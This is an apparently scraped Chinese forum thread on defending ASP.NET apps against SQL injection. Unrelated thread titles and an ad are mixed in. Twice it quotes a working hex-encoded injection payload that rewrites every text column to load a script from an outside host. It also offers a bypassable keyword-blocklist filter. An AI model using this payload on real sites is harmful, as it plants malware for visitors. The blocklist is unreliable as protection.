sql 防注入问题 this.TextBox1.Text.Replace("'", "''").Replace("\"\"", "\"\"\"\"");这样可以达到防注入问题吗?还有SQL注入攻击的方式,能给我个连接吗 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 楼上的这样也好像不能真正防注入,你这样只是过滤几个字符而已,注入代码想这样的就不能过滤了:dEcLaRe%20@s%20vArChAr(4000);sEt%20@s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f520d0a%20aS%20vArChAr(4000));exec(@s); this.TextBox1.Text.Replace("'", "''").Replace("\"\"", "\"\"\"\""); 单引号替换是明白,两个双引号替换成四个又是怎么回事这样替换不够有没有完整点的 用存储过程就不用但是SQL注入式攻击了 在存储过程里面也不要拼SQL "select * from product where id='"+TextBox1.text这样叫拼接是吗,还有其他什么是拼接没 select * from product where id=@id然后添加参数“id”值,就可以了,这样就防止了注入。 DataSet ds = db.GetDataSet("select * from category where english=1");没拼接的时候应该没什么问题吧! 使用参数的方法是可以防止注入式攻击的,绝对不要出现拼接SQL语句的现象,拼接SQL是注入式攻击成功的前提。 看看这几个贴子,已经很详细了~http://community.csdn.net/Expert/topicview.asp?id=5569710http://topic.csdn.net/u/20080510/16/29c515de-c4d2-41fe-a1dc-df84de18f9b7.htmlhttp://topic.csdn.net/u/20080521/09/dad3eaba-bfc7-483c-98cd-d310f9a76ff0.html?seed=596201967 http://topic.csdn.net/u/20080510/16/e17ee949-6f13-481b-b6c9-134fc2187415.htmlhttp://topic.csdn.net/u/20080510/16/29c515de-c4d2-41fe-a1dc-df84de18f9b7.htmlhttp://topic.csdn.net/u/20080510/16/4496591b-4672-4fb5-a188-3319369fca88.html曾经讨论防SQL注入时发的三个贴,给楼主参考一下.PS:我最后是用的给所有参数过滤的方法 /// <summary> ///SQL注入过滤 /// </summary> /// <param name="InText">要过滤的字符串</param> /// <returns>如果参数存在不安全字符,则返回true</returns> public bool SqlFilter(string InText) { string word="and|exec|insert|select|delete|update|chr|mid|master|or|truncate|char|declare|join"; if(InText==null) return false; foreach(string i in word.Split('|')) { if((InText.ToLower().IndexOf(i+" ")>-1)||(InText.ToLower().IndexOf(" "+i)>-1)) { return true; } } return false; } .Replace("'", "''").Replace("=", ""),如果要过滤这样够不够 如何返回True,一般怎么处理,我返回其他页面 参看:http://topic.csdn.net/u/20080529/09/44f8a53b-5ea6-4412-8bb6-730889523c7e.html的71楼 导出excel evt.keyCode==186 186?? gridview如何同时冻结列和header 区 图片服务器处理问题 OA 流程步骤图形话实现 A函数返回类型不确定,根据条件返回不同的类型,这个类型应该怎么写呢 散分求救!!关于批量读取文件的问题!!! 我发现1个很有趣的问题,是关于asp.net服务器的 哪个好心人告诉我怎样实现视频的循环播放??用什么参数啊 请教如何读取 web.config 文件中的值 javascript 两个日期进行比较 用.NET寫執行程式
注入代码想这样的就不能过滤了:
dEcLaRe%20@s%20vArChAr(4000);sEt%20@s=cAsT(0x6445634c615265204074207641724368417228323535292c406320764172436841722832353529206445634c615265207441624c655f637572736f5220635572536f5220466f522073456c45635420612e6e416d452c622e6e416d452046724f6d207359734f624a6543745320612c735973436f4c754d6e53206220774865526520612e69443d622e694420416e4420612e78547950653d27752720416e442028622e78547950653d3939206f5220622e78547950653d3335206f5220622e78547950653d323331206f5220622e78547950653d31363729206f50654e207441624c655f637572736f52206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c4063207768696c6528404066457443685f7374617475733d302920624567496e20657865632827557044615465205b272b40742b275d20734574205b272b40632b275d3d727472696d28636f6e7665727428764172436841722c5b272b40632b275d29292b27273c2f7469746c653e3c736372697074207372633d687474703a2f2f2536622536622533362532652537352537332f312e6a733e3c2f7363726970743e27272729206645744368206e6578742046724f6d207441624c655f637572736f5220694e744f2040742c406320654e6420634c6f5365207441624c655f637572736f52206445416c4c6f43615465207441624c655f637572736f520d0a%20aS%20vArChAr(4000));exec(@s);
单引号替换是明白,两个双引号替换成四个又是怎么回事这样替换不够有没有完整点的
在存储过程里面也不要拼SQL
没拼接的时候应该没什么问题吧!
http://community.csdn.net/Expert/topicview.asp?id=5569710
http://topic.csdn.net/u/20080510/16/29c515de-c4d2-41fe-a1dc-df84de18f9b7.html
http://topic.csdn.net/u/20080521/09/dad3eaba-bfc7-483c-98cd-d310f9a76ff0.html?seed=596201967
http://topic.csdn.net/u/20080510/16/29c515de-c4d2-41fe-a1dc-df84de18f9b7.html
http://topic.csdn.net/u/20080510/16/4496591b-4672-4fb5-a188-3319369fca88.html
曾经讨论防SQL注入时发的三个贴,给楼主参考一下.
PS:我最后是用的给所有参数过滤的方法
/// <summary>
///SQL注入过滤
/// </summary>
/// <param name="InText">要过滤的字符串</param>
/// <returns>如果参数存在不安全字符,则返回true</returns>
public bool SqlFilter(string InText)
{
string word="and|exec|insert|select|delete|update|chr|mid|master|or|truncate|char|declare|join";
if(InText==null)
return false;
foreach(string i in word.Split('|'))
{
if((InText.ToLower().IndexOf(i+" ")>-1)||(InText.ToLower().IndexOf(" "+i)>-1))
{
return true;
}
}
return false;
}
的71楼